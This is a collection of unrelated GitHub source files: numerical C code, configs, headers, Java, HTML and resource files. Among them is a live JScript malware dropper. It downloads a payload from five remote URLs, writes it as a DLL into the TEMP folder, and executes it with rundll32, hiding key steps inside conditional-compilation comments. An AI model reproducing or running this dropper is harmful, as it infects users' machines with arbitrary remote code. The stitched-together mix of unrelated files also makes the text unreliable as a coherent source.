A2 A3 ) ( 0 x ) */ /* and */ /* V'*B*Q = V'*( B1 0 )*Q = ( x x ) */ /* ( B2 B3 ) ( 0 x ) */ /* The rows of the transformed A and B are parallel, where */ /* U = ( CSU SNU ), V = ( CSV SNV ), Q = ( CSQ SNQ ) */ /* ( -SNU CSU ) ( -SNV CSV ) ( -SNQ CSQ ) */ /* Z' denotes the transpose of Z. */ /* Arguments */ /* ========= */ /* UPPER (input) LOGICAL */ /* = .TRUE.: the input matrices A and B are upper triangular. */ /* = .FALSE.: the input matrices A and B are lower triangular. */ /* A1 (input) DOUBLE PRECISION */ /* A2 (input) DOUBLE PRECISION */ /* A3 (input) DOUBLE PRECISION */ /* On entry, A1, A2 and A3 are elements of the input 2-by-2 */ /* upper (lower) triangular matrix A. */ /* B1 (input) DOUBLE PRECISION */ /* B2 (input) DOUBLE PRECISION */ /* B3 (input) DOUBLE PRECISION */ /* On entry, B1, B2 and B3 are elements of the input 2-by-2 */ /* upper (lower) triangular matrix B. */ /* CSU (output) DOUBLE PRECISION */ /* SNU (output) DOUBLE PRECISION */ /* The desired orthogonal matrix U. */ /* CSV (output) DOUBLE PRECISION */ /* SNV (output) DOUBLE PRECISION */ /* The desired orthogonal matrix V. */ /* CSQ (output) DOUBLE PRECISION */ /* SNQ (output) DOUBLE PRECISION */ /* The desired orthogonal matrix Q. */ /* ===================================================================== */ /* .. Parameters .. */ /* .. */ /* .. Local Scalars .. */ /* .. */ /* .. External Subroutines .. */ /* .. */ /* .. Intrinsic Functions .. */ /* .. */ /* .. Executable Statements .. */ if (*upper) { /* Input matrices A and B are upper triangular matrices */ /* Form matrix C = A*adj(B) = ( a b ) */ /* ( 0 d ) */ a = *a1 * *b3; d__ = *a3 * *b1; b = *a2 * *b1 - *a1 * *b2; /* The SVD of real 2-by-2 triangular C */ /* ( CSL -SNL )*( A B )*( CSR SNR ) = ( R 0 ) */ /* ( SNL CSL ) ( 0 D ) ( -SNR CSR ) ( 0 T ) */ dlasv2_(&a, &b, &d__, &s1, &s2, &snr, &csr, &snl, &csl); if (abs(csl) >= abs(snl) || abs(csr) >= abs(snr)) { /* Compute the (1,1) and (1,2) elements of U'*A and V'*B, */ /* and (1,2) element of |U|'*|A| and |V|'*|B|. */ ua11r = csl * *a1; ua12 = csl * *a2 + snl * *a3; vb11r = csr * *b1; vb12 = csr * *b2 + snr * *b3; aua12 = abs(csl) * abs(*a2) + abs(snl) * abs(*a3); avb12 = abs(csr) * abs(*b2) + abs(snr) * abs(*b3); /* zero (1,2) elements of U'*A and V'*B */ if (abs(ua11r) + abs(ua12) != 0.) { if (aua12 / (abs(ua11r) + abs(ua12)) <= avb12 / (abs(vb11r) + abs(vb12))) { d__1 = -ua11r; dlartg_(&d__1, &ua12, csq, snq, &r__); } else { d__1 = -vb11r; dlartg_(&d__1, &vb12, csq, snq, &r__); } } else { d__1 = -vb11r; dlartg_(&d__1, &vb12, csq, snq, &r__); } *csu = csl; *snu = -snl; *csv = csr; *snv = -snr; } else { /* Compute the (2,1) and (2,2) elements of U'*A and V'*B, */ /* and (2,2) element of |U|'*|A| and |V|'*|B|. */ ua21 = -snl * *a1; ua22 = -snl * *a2 + csl * *a3; vb21 = -snr * *b1; vb22 = -snr * *b2 + csr * *b3; aua22 = abs(snl) * abs(*a2) + abs(csl) * abs(*a3); avb22 = abs(snr) * abs(*b2) + abs(csr) * abs(*b3); /* zero (2,2) elements of U'*A and V'*B, and then swap. */ if (abs(ua21) + abs(ua22) != 0.) { if (aua22 / (abs(ua21) + abs(ua22)) <= avb22 / (abs(vb21) + abs(vb22))) { d__1 = -ua21; dlartg_(&d__1, &ua22, csq, snq, &r__); } else { d__1 = -vb21; dlartg_(&d__1, &vb22, csq, snq, &r__); } } else { d__1 = -vb21; dlartg_(&d__1, &vb22, csq, snq, &r__); } *csu = snl; *snu = csl; *csv = snr; *snv = csr; } } else { /* Input matrices A and B are lower triangular matrices */ /* Form matrix C = A*adj(B) = ( a 0 ) */ /* ( c d ) */ a = *a1 * *b3; d__ = *a3 * *b1; c__ = *a2 * *b3 - *a3 * *b2; /* The SVD of real 2-by-2 triangular C */ /* ( CSL -SNL )*( A 0 )*( CSR SNR ) = ( R 0 ) */ /* ( SNL CSL ) ( C D ) ( -SNR CSR ) ( 0 T ) */ dlasv2_(&a, &c__, &d__, &s1, &s2, &snr, &csr, &snl, &csl); if (abs(csr) >= abs(snr) || abs(csl) >= abs(snl)) { /* Compute the (2,1) and (2,2) elements of U'*A and V'*B, */ /* and (2,1) element of |U|'*|A| and |V|'*|B|. */ ua21 = -snr * *a1 + csr * *a2; ua22r = csr * *a3; vb21 = -snl * *b1 + csl * *b2; vb22r = csl * *b3; aua21 = abs(snr) * abs(*a1) + abs(csr) * abs(*a2); avb21 = abs(snl) * abs(*b1) + abs(csl) * abs(*b2); /* zero (2,1) elements of U'*A and V'*B. */ if (abs(ua21) + abs(ua22r) != 0.) { if (aua21 / (abs(ua21) + abs(ua22r)) <= avb21 / (abs(vb21) + abs(vb22r))) { dlartg_(&ua22r, &ua21, csq, snq, &r__); } else { dlartg_(&vb22r, &vb21, csq, snq, &r__); } } else { dlartg_(&vb22r, &vb21, csq, snq, &r__); } *csu = csr; *snu = -snr; *csv = csl; *snv = -snl; } else { /* Compute the (1,1) and (1,2) elements of U'*A and V'*B, */ /* and (1,1) element of |U|'*|A| and |V|'*|B|. */ ua11 = csr * *a1 + snr * *a2; ua12 = snr * *a3; vb11 = csl * *b1 + snl * *b2; vb12 = snl * *b3; aua11 = abs(csr) * abs(*a1) + abs(snr) * abs(*a2); avb11 = abs(csl) * abs(*b1) + abs(snl) * abs(*b2); /* zero (1,1) elements of U'*A and V'*B, and then swap. */ if (abs(ua11) + abs(ua12) != 0.) { if (aua11 / (abs(ua11) + abs(ua12)) <= avb11 / (abs(vb11) + abs(vb12))) { dlartg_(&ua12, &ua11, csq, snq, &r__); } else { dlartg_(&vb12, &vb11, csq, snq, &r__); } } else { dlartg_(&vb12, &vb11, csq, snq, &r__); } *csu = snr; *snu = csr; *csv = snl; *snv = csl; } } return 0; /* End of DLAGS2 */ } /* dlags2_ */
{ "pile_set_name": "Github" }
;=============================================== ; Config file for res_generator.cpp utility. ;=============================================== ; Feel free to add new resources if needed, they are all will be attached while the build process ; ;How to format it: ; [any description, should be unique] ; name = "picture.png" ; relative path to the file ; path = "virtual/prefix/path/picture.png" ; a virtual prefix path to call the file from a code [fallback for missing images] name=_broken.png path=images/_broken.png [fallback for missing splash] name=cat_splash.png path=images/cat_splash.png [fallback for missing coin animation] name=coin.png path=images/coin.png [built-in cursor] name=cursor.png path=images/cursor.png [default scroll down arrow] name=scroll_down.png path=images/scroll_down.png [default scroll up arrow] name=scroll_up.png path=images/scroll_up.png [selector pointer] name=selector.png path=images/selector.png [loading animation] name=shell.png path=images/shell.png [16px app icon] name=cat_16.png path=icon/cat_16.png [32px app icon] name=cat_32.png path=icon/cat_32.png [256px app icon] name=cat_256.png path=icon/cat_256.png [credits main core script] name=script/maincore_credits.lua path=script/maincore_credits.lua [level main core script] name=script/maincore_level.lua path=script/maincore_level.lua [title screen main core script] name=script/maincore_title.lua path=script/maincore_title.lua [world map main core script] name=script/maincore_world.lua path=script/maincore_world.lua [NPC API main core script] name=script/npcs/maincore_npc.lua path=script/npcs/maincore_npc.lua [Player API main core script] name=script/player/maincore_player.lua path=script/player/maincore_player.lua [Default embedded TTF font] name=fonts/UKIJTuzB.ttf path=fonts/UKIJTuzB.ttf
{ "pile_set_name": "Github" }
load("@rules_java//java:defs.bzl", "java_library") package(default_testonly = True) java_library( name = "testing", srcs = glob(["*.java"]), visibility = ["//visibility:public"], deps = [ "//java/com/google/gerrit/common:annotations", "//lib:guava", "//lib:jgit", "//lib/truth", "//lib/truth:truth-java8-extension", ], )
{ "pile_set_name": "Github" }
#ifndef B3_GPU_NARROWPHASE_H #define B3_GPU_NARROWPHASE_H #include "Bullet3Collision/NarrowPhaseCollision/shared/b3Collidable.h" #include "Bullet3OpenCL/Initialize/b3OpenCLInclude.h" #include "Bullet3Common/b3AlignedObjectArray.h" #include "Bullet3Common/b3Vector3.h" class b3GpuNarrowPhase { protected: struct b3GpuNarrowPhaseInternalData* m_data; int m_acceleratedCompanionShapeIndex; int m_planeBodyIndex; int m_static0Index; cl_context m_context; cl_device_id m_device; cl_command_queue m_queue; int registerConvexHullShapeInternal(class b3ConvexUtility* convexPtr, b3Collidable& col); int registerConcaveMeshShape(b3AlignedObjectArray<b3Vector3>* vertices, b3AlignedObjectArray<int>* indices, b3Collidable& col, const float* scaling); public: b3GpuNarrowPhase(cl_context vtx, cl_device_id dev, cl_command_queue q, const struct b3Config& config); virtual ~b3GpuNarrowPhase(void); int registerSphereShape(float radius); int registerPlaneShape(const b3Vector3& planeNormal, float planeConstant); int registerCompoundShape(b3AlignedObjectArray<b3GpuChildShape>* childShapes); int registerFace(const b3Vector3& faceNormal, float faceConstant); int registerConcaveMesh(b3AlignedObjectArray<b3Vector3>* vertices, b3AlignedObjectArray<int>* indices, const float* scaling); //do they need to be merged? int registerConvexHullShape(b3ConvexUtility* utilPtr); int registerConvexHullShape(const float* vertices, int strideInBytes, int numVertices, const float* scaling); int registerRigidBody(int collidableIndex, float mass, const float* position, const float* orientation, const float* aabbMin, const float* aabbMax, bool writeToGpu); void setObjectTransform(const float* position, const float* orientation, int bodyIndex); void writeAllBodiesToGpu(); void reset(); void readbackAllBodiesToCpu(); bool getObjectTransformFromCpu(float* position, float* orientation, int bodyIndex) const; void setObjectTransformCpu(float* position, float* orientation, int bodyIndex); void setObjectVelocityCpu(float* linVel, float* angVel, int bodyIndex); virtual void computeContacts(cl_mem broadphasePairs, int numBroadphasePairs, cl_mem aabbsWorldSpace, int numObjects); cl_mem getBodiesGpu(); const struct b3RigidBodyData* getBodiesCpu() const; //struct b3RigidBodyData* getBodiesCpu(); int getNumBodiesGpu() const; cl_mem getBodyInertiasGpu(); int getNumBodyInertiasGpu() const; cl_mem getCollidablesGpu(); const struct b3Collidable* getCollidablesCpu() const; int getNumCollidablesGpu() const; const struct b3SapAabb* getLocalSpaceAabbsCpu() const; const struct b3Contact4* getContactsCPU() const; cl_mem getContactsGpu(); int getNumContactsGpu() const; cl_mem getAabbLocalSpaceBufferGpu(); int getNumRigidBodies() const; int allocateCollidable(); int getStatic0Index() const { return m_static0Index; } b3Collidable& getCollidableCpu(int collidableIndex); const b3Collidable& getCollidableCpu(int collidableIndex) const; const b3GpuNarrowPhaseInternalData* getInternalData() const { return m_data; } b3GpuNarrowPhaseInternalData* getInternalData() { return m_data; } const struct b3SapAabb& getLocalSpaceAabb(int collidableIndex) const; }; #endif //B3_GPU_NARROWPHASE_H
{ "pile_set_name": "Github" }
/* * Copyright 2014 Taylor Caldwell * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package net.rithms.riot.api.endpoints.league.dto; import java.io.Serializable; import net.rithms.riot.api.Dto; public class MiniSeries extends Dto implements Serializable { private static final long serialVersionUID = -1698803031525933530L; private int losses; private String progress; private int target; private int wins; public int getLosses() { return losses; } public String getProgress() { return progress; } public int getTarget() { return target; } public int getWins() { return wins; } @Override public String toString() { return getProgress(); } }
{ "pile_set_name": "Github" }
class { 'java': package => 'jdk-8u25-linux-x64', java_alternative => 'jdk1.8.0_25', java_alternative_path => '/usr/java/jdk1.8.0_25/jre/bin/java' }
{ "pile_set_name": "Github" }
BUFFER buffer 1 2009-01-31T00:00:00 1 1 BUFFER buffer 1 2009-01-31T00:00:00 -1 0 BUFFER buffer 1 2009-02-28T00:00:00 1 1 BUFFER buffer 1 2009-02-28T00:00:00 -1 0 BUFFER buffer 1 2009-03-31T00:00:00 1 1 BUFFER buffer 1 2009-03-31T00:00:00 -1 0 BUFFER buffer A 2009-01-30T00:00:00 1 1 BUFFER buffer A 2009-01-30T00:00:00 -1 0 BUFFER buffer A 2009-02-27T00:00:00 1 1 BUFFER buffer A 2009-02-27T00:00:00 -1 0 BUFFER buffer A 2009-03-30T00:00:00 1 1 BUFFER buffer A 2009-03-30T00:00:00 -1 0 BUFFER buffer B 2009-01-30T00:00:00 -1 -1 BUFFER buffer B 2009-02-27T00:00:00 -1 -2 BUFFER buffer B 2009-03-30T00:00:00 -1 -3 DEMAND order 1 2009-03-01T00:00:00 1 DEMAND order 2 2009-02-01T00:00:00 1 DEMAND order 3 2009-04-01T00:00:00 1 RESOURCE assemble 2009-01-30T00:00:00 1 1 RESOURCE assemble 2009-01-31T00:00:00 -1 0 RESOURCE assemble 2009-02-27T00:00:00 1 1 RESOURCE assemble 2009-02-28T00:00:00 -1 0 RESOURCE assemble 2009-03-30T00:00:00 1 1 RESOURCE assemble 2009-03-31T00:00:00 -1 0 OPERATION delivery 1 2009-01-31T00:00:00 2009-02-01T00:00:00 1 OPERATION delivery 1 2009-02-28T00:00:00 2009-03-01T00:00:00 1 OPERATION delivery 1 2009-03-31T00:00:00 2009-04-01T00:00:00 1 OPERATION make item 1 2009-01-30T00:00:00 2009-01-31T00:00:00 1 OPERATION make item 1 2009-02-27T00:00:00 2009-02-28T00:00:00 1 OPERATION make item 1 2009-03-30T00:00:00 2009-03-31T00:00:00 1 OPERATION supply component A 2009-01-29T00:00:00 2009-01-30T00:00:00 1 OPERATION supply component A 2009-02-26T00:00:00 2009-02-27T00:00:00 1 OPERATION supply component A 2009-03-29T00:00:00 2009-03-30T00:00:00 1 OPERATION supply component A from supplier 1 2009-01-29T00:00:00 2009-01-30T00:00:00 1 OPERATION supply component A from supplier 1 2009-02-26T00:00:00 2009-02-27T00:00:00 1 OPERATION supply component A from supplier 1 2009-03-29T00:00:00 2009-03-30T00:00:00 1 PROBLEM invalid data No replenishment defined for 'buffer B' 1971-01-01T00:00:00 / 2030-12-31T00:00:00 PROBLEM material shortage Buffer 'buffer B' has material shortage of 3 2009-01-30T00:00:00 / 2030-12-31T00:00:00
{ "pile_set_name": "Github" }
#ifdef __OBJC__ #import <UIKit/UIKit.h> #else #ifndef FOUNDATION_EXPORT #if defined(__cplusplus) #define FOUNDATION_EXPORT extern "C" #else #define FOUNDATION_EXPORT extern #endif #endif #endif FOUNDATION_EXPORT double Pods_MBMotion_ExampleVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_MBMotion_ExampleVersionString[];
{ "pile_set_name": "Github" }
#!/bin/bash set -x echo "Initializing Nylas Open Source Sync Engine installation" ############# # Parameters ############# AZUREUSER=$1 HOME="/home/$AZUREUSER" echo "User: $AZUREUSER" echo "User home dir: $HOME" # update os apt-get update # install git apt-get install -y git # clone the sync engine repo cd $HOME git clone https://github.com/singhkay/sync-engine.git /bin/bash -l -c "chown -R $AZUREUSER $HOME/sync-engine" cd $HOME/sync-engine/ # kick off the setup script chmod +x ./setup.sh sudo ./setup.sh chown -R $AZUREUSER /etc/inboxapp runuser -l $AZUREUSER -c "nohup /home/$AZUREUSER/sync-engine/bin/inbox-start &"
{ "pile_set_name": "Github" }
<div data-hook="admin_named_type_form_fields"> <%= f.field_container :name, class: ['form-group'] do %> <%= f.label :name, Spree.t(:name) %> <span class="required">*</span> <%= f.text_field :name, class: 'form-control' %> <%= f.error_message_on :name %> <% end %> <div class="form-group checkbox"> <%= label_tag :active do %> <%= f.check_box :active %> <%= Spree.t(:active) %> <% end %> </div> </div>
{ "pile_set_name": "Github" }
// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO. // You may push code into the target .java compilation unit if you wish to edit any member(s). package nl.bzk.brp.model.data.kern; import java.util.List; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import nl.bzk.brp.model.data.kern.HisDoc; import org.springframework.transaction.annotation.Transactional; privileged aspect HisDoc_Roo_Jpa_ActiveRecord { @PersistenceContext transient EntityManager HisDoc.entityManager; public static final EntityManager HisDoc.entityManager() { EntityManager em = new HisDoc().entityManager; if (em == null) throw new IllegalStateException("Entity manager has not been injected (is the Spring Aspects JAR configured as an AJC/AJDT aspects library?)"); return em; } public static long HisDoc.countHisDocs() { return entityManager().createQuery("SELECT COUNT(o) FROM HisDoc o", Long.class).getSingleResult(); } public static List<HisDoc> HisDoc.findAllHisDocs() { return entityManager().createQuery("SELECT o FROM HisDoc o", HisDoc.class).getResultList(); } public static HisDoc HisDoc.findHisDoc(Long id) { if (id == null) return null; return entityManager().find(HisDoc.class, id); } public static List<HisDoc> HisDoc.findHisDocEntries(int firstResult, int maxResults) { return entityManager().createQuery("SELECT o FROM HisDoc o", HisDoc.class).setFirstResult(firstResult).setMaxResults(maxResults).getResultList(); } @Transactional public void HisDoc.persist() { if (this.entityManager == null) this.entityManager = entityManager(); this.entityManager.persist(this); } @Transactional public void HisDoc.remove() { if (this.entityManager == null) this.entityManager = entityManager(); if (this.entityManager.contains(this)) { this.entityManager.remove(this); } else { HisDoc attached = HisDoc.findHisDoc(this.id); this.entityManager.remove(attached); } } @Transactional public void HisDoc.flush() { if (this.entityManager == null) this.entityManager = entityManager(); this.entityManager.flush(); } @Transactional public void HisDoc.clear() { if (this.entityManager == null) this.entityManager = entityManager(); this.entityManager.clear(); } @Transactional public HisDoc HisDoc.merge() { if (this.entityManager == null) this.entityManager = entityManager(); HisDoc merged = this.entityManager.merge(this); this.entityManager.flush(); return merged; } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-capable" content="yes"> <link rel="stylesheet" href="resources/bootstrap.min.css"> <link rel="stylesheet" href="resources/style.css"> <title> Overview </title> </head> <body> <div id="navigation"> <div class="container"> <div class="row"> <div class="col-md-12"> <nav class="navbar"> <ul class="nav navbar-nav"> <li> <a href="index.html" class="active"> Overview </a> </li> <li> <a href="classes.html">Classes</a> </li> <li> <a href="interfaces.html">Interfaces</a> </li> <li> <a href="exceptions.html">Exceptions</a> </li> </ul> <form id="search" class="pull-right"> <input type="text" name="q" class="form-control text" placeholder="Search class, function or namespace" autofocus> </form> </nav> </div> </div> </div> </div> <div class="container"> <div class="row"> <div class="col-md-12"> <h1>Overview</h1> <table class="table table-responsive table-bordered table-striped" id="namespaces"> <tr><th>Namespaces Summary</th></tr> <tr> <td> <a href="namespace-LINE.html">LINE</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.html">LINE\LINEBot</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Constant.html">LINE\LINEBot\Constant</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Constant.Flex.html">LINE\LINEBot\Constant\Flex</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Event.html">LINE\LINEBot\Event</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Event.MessageEvent.html">LINE\LINEBot\Event\MessageEvent</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Event.Parser.html">LINE\LINEBot\Event\Parser</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Event.Things.html">LINE\LINEBot\Event\Things</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Exception.html">LINE\LINEBot\Exception</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.HTTPClient.html">LINE\LINEBot\HTTPClient</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.ImagemapActionBuilder.html">LINE\LINEBot\ImagemapActionBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.html">LINE\LINEBot\MessageBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.Flex.html">LINE\LINEBot\MessageBuilder\Flex</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.Flex.ComponentBuilder.html">LINE\LINEBot\MessageBuilder\Flex\ComponentBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.Flex.ContainerBuilder.html">LINE\LINEBot\MessageBuilder\Flex\ContainerBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.Imagemap.html">LINE\LINEBot\MessageBuilder\Imagemap</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.TemplateBuilder.html">LINE\LINEBot\MessageBuilder\TemplateBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.MessageBuilder.Text.html">LINE\LINEBot\MessageBuilder\Text</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Narrowcast.DemographicFilter.html">LINE\LINEBot\Narrowcast\DemographicFilter</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Narrowcast.Recipient.html">LINE\LINEBot\Narrowcast\Recipient</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.QuickReplyBuilder.html">LINE\LINEBot\QuickReplyBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.QuickReplyBuilder.ButtonBuilder.html">LINE\LINEBot\QuickReplyBuilder\ButtonBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.RichMenuBuilder.html">LINE\LINEBot\RichMenuBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.SenderBuilder.html">LINE\LINEBot\SenderBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.TemplateActionBuilder.html">LINE\LINEBot\TemplateActionBuilder</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.TemplateActionBuilder.Uri.html">LINE\LINEBot\TemplateActionBuilder\Uri</a> </td> </tr> <tr> <td> <a href="namespace-LINE.LINEBot.Util.html">LINE\LINEBot\Util</a> </td> </tr> <tr> <td> <a href="namespace-none.html">none</a> </td> </tr> </table> <div id="footer"> Generated by <a href="https://github.com/apigen/apigen">ApiGen</a> </div> </div> </div> </div> <script src="resources/jquery-3.2.1.min.js"></script> <script src="resources/jquery-ui-1.12.1.min.js"></script> <script src="elementlist.js"></script> <script src="resources/main.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <root> <xsd:schema xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="root"> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" /> <xsd:element name="root" msdata:IsDataSet="true"> <xsd:complexType> <xsd:choice maxOccurs="unbounded"> <xsd:element name="metadata"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" /> </xsd:sequence> <xsd:attribute name="name" use="required" type="xsd:string" /> <xsd:attribute name="type" type="xsd:string" /> <xsd:attribute name="mimetype" type="xsd:string" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="assembly"> <xsd:complexType> <xsd:attribute name="alias" type="xsd:string" /> <xsd:attribute name="name" type="xsd:string" /> </xsd:complexType> </xsd:element> <xsd:element name="data"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" /> <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" /> <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="resheader"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" /> </xsd:complexType> </xsd:element> </xsd:choice> </xsd:complexType> </xsd:element> </xsd:schema> <resheader name="resmimetype"> <value>text/microsoft-resx</value> </resheader> <resheader name="version"> <value>2.0</value> </resheader> <resheader name="reader"> <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <resheader name="writer"> <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <data name="buttonStart" xml:space="preserve"> <value>_Letoltes</value> </data> <data name="buttonSave" xml:space="preserve"> <value>_Mentes</value> </data> <data name="buttonResetSettings_ToolTip" xml:space="preserve"> <value>Alapertelmezett beallitasok alkalmazasa</value> </data> <data name="buttonOpenSettingsWindow_ToolTip" xml:space="preserve"> <value>Beallitasok megnyitasa</value> </data> <data name="buttonOpenSettingsWindow" xml:space="preserve"> <value>_Beallitasok</value> </data> <data name="buttonDownloadUpdate" xml:space="preserve"> <value>_Uj verzio letoltese</value> </data> <data name="buttonCancel" xml:space="preserve"> <value>_Visszavonas</value> </data> <data name="buttonCheckForUpdates" xml:space="preserve"> <value>Frissites</value> </data> <data name="buttonBrowse_ToolTip" xml:space="preserve"> <value>Mappavalasztas</value> </data> <data name="messageBoxCouldNotOpenUrlError" xml:space="preserve"> <value>Az alabbi link nem nyithato meg: {0}</value> </data> <data name="messageBoxNoUpdateAvailable" xml:space="preserve"> <value>A legfrissebb kiadast hasznalod ({0}).</value> </data> <data name="messageBoxCloseWindowWhenDownloadingText" xml:space="preserve"> <value>Aktiv letoltesek futnak a hatterben. Biztos vagy benne, hogy bezarod az alkalmazast es leallitod az osszes letoltest?</value> </data> <data name="messageBoxCheckForUpdatesError" xml:space="preserve"> <value>A frissitesek ellenorzese kozben hiba lepett fel. Kerjuk probalja ujra.</value> </data> <data name="messageBoxCancelDownloadsText" xml:space="preserve"> <value>Osszes letoltes visszavonasa?</value> </data> <data name="labelYear" xml:space="preserve"> <value>Album kiadasanak eve</value> </data> <data name="labelTheme" xml:space="preserve"> <value>_Megjelenes/Tema</value> </data> <data name="labelVersionNewUpdateAvailable" xml:space="preserve"> <value>Uj kiadas erheto el</value> </data> <data name="labelVersionError" xml:space="preserve"> <value>Uj kiadas ellenorzese sikertelen</value> </data> <data name="labelVersion" xml:space="preserve"> <value>Kiadas</value> </data> <data name="messageBoxButtonCancel" xml:space="preserve"> <value>_Visszavonas</value> </data> <data name="buttonStop" xml:space="preserve"> <value>_Visszavonas</value> </data> <data name="messageBoxResetSettingsText" xml:space="preserve"> <value>Beallitasok visszaallitasa alapertelmezett allapotba?</value> </data> <data name="messageBoxResetSettingsButtonOk" xml:space="preserve"> <value>_Beallitasok visszaallitasa</value> </data> </root>
{ "pile_set_name": "Github" }
var Rf0=1; var Fo6=2; /*@cc_on HYp0 = ["http://just-say-yes.nl/vo7bb3l","http://jculley.com/ftaep","http://lorienglobal.com/m4nq0hhs","http://thirlnak.net/5crdsr","http://scupwail.com/5ghkmmf"]; DKz2 = "E2oPSNF7p6"; @*/ var Io2=2; var LOg6="437"; var Rt1=WScript["CreateObject"]("WScript.Shell"); var Ep6=Rt1.ExpandEnvironmentStrings("%T"+"EMP%/"); var PSt9=Ep6 + DKz2; var BLv2=PSt9 + ".d" + "ll"; var Qo3 = Rt1["Environment"]("System"); if (Qo3("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64") { var YUr2 = Rt1.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe"); } else { var YUr2 = Rt1["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\rundll32.exe"); } var Vd2=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]; for (var Gj3=0; Gj3 < Vd2["length"]; Gj3++) { try { var Ha9=WScript["CreateObject"](Vd2[Gj3]); break; } catch (e) { continue; } }; var HEe1 = new ActiveXObject("Scripting.FileSystemObject"); function RUt2() { var UYx3 = HEe1.GetFile(BLv2); return UYx3.ShortPath; } var PHp6 = 0; for (var RCc1 = 0; RCc1 < HYp0.length; RCc1 = RCc1 + 1) { try { Ha9["open"]("GET", HYp0[RCc1], false); Ha9["send"](); while (Ha9.readystate < 4) WScript["Sleep"](100); var NLb5=this["WScript"]["CreateObject"]("ADODB.Stream"); NLb5["open"](); NLb5.type=Rf0; /*@cc_on NLb5.write(Ha9.ResponseBody); NLb5.position=0; NLb5['Sav'+'eT'+'oFile'](BLv2, Io2); NLb5.close(); var IPc2 = RUt2(); var d = new Date(); d.setFullYear("2015"); Rt1["Run"](YUr2 + " " + IPc2 + ",0004"); @*/ break; } catch (e) {continue;}; } WScript.Quit(0);
{ "pile_set_name": "Github" }
/* Editor Settings: expandtabs and use 4 spaces for indentation * ex: set softtabstop=4 tabstop=8 expandtab shiftwidth=4: * */ /* * Copyright © BeyondTrust Software 2004 - 2019 * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * BEYONDTRUST MAKES THIS SOFTWARE AVAILABLE UNDER OTHER LICENSING TERMS AS * WELL. IF YOU HAVE ENTERED INTO A SEPARATE LICENSE AGREEMENT WITH * BEYONDTRUST, THEN YOU MAY ELECT TO USE THE SOFTWARE UNDER THE TERMS OF THAT * SOFTWARE LICENSE AGREEMENT INSTEAD OF 